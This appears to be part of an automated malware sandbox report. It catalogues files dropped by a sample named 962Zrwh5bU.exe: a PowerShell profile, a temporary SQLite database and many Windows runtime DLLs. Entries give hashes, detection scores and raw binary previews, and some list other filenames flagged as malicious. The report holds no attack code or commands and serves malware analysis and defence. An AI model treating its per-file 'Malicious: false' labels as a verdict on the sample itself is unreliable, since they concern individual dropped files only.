SHA-256:	B998E01DA7ABFD84CDF266CB2C2FD8D1AEF627E61F9BEE2A463A634619556CDB
SHA-512:	1549C8956E25C7D2C4533B5B497EBD4BCDD5841E10241BA1DE05825C13574D017FE727C421B84EE54BAC77340104E246F80B2CBD390CD3224640107DF62459B2
Malicious:	false
Preview:	!-.x.....................................;...{..62...}[......{...............{.......{...XL......{......................62...}[.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	5.374225325640587
Encrypted:	false
SSDEEP:	24:3vZ4WSKco4KmZjKbm51s4RPT6moUebIKo+mZ9tXt/NK3R8UHr2:SWSU4xymI4RfoUeW+mZ9tlNWR8Wi
MD5:	E3101FAB39034FDB798D8EFA107C0065
SHA1:	1F70F289500E531F56DA4C271A4B2B78FCD4D70A
SHA-256:	C47ECA48C797627128BF0614E6BA82C8924B0C762A06ADD7EFF09764916FDA07
SHA-512:	772587C9FDBEB376892DC144BA5AEAD3EC9E1B00E2CB2F9D2507E0950A5ACC4ED5582A77E6AB63A09DE121C2FF2693A830A1537B8401C18F67B5EB353F43C724
Malicious:	false
Preview:	@...e.................................:..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\73454066296265048722815.tmp

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: jd4t3R7hOq.exe, Detection: malicious, Browse Filename: 3861227PDF.exe, Detection: malicious, Browse Filename: WC10SCPMaX.exe, Detection: malicious, Browse Filename: 7000091945.xlsx.exe, Detection: malicious, Browse Filename: Dekont#400577_89008_96634.exe, Detection: malicious, Browse Filename: No. 1349240400713.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: jd4t3R7hOq.exe, Detection: malicious, Browse Filename: 3861227PDF.exe, Detection: malicious, Browse Filename: WC10SCPMaX.exe, Detection: malicious, Browse Filename: 7000091945.xlsx.exe, Detection: malicious, Browse Filename: Dekont#400577_89008_96634.exe, Detection: malicious, Browse Filename: No. 1349240400713.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\962Zrwh5bU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
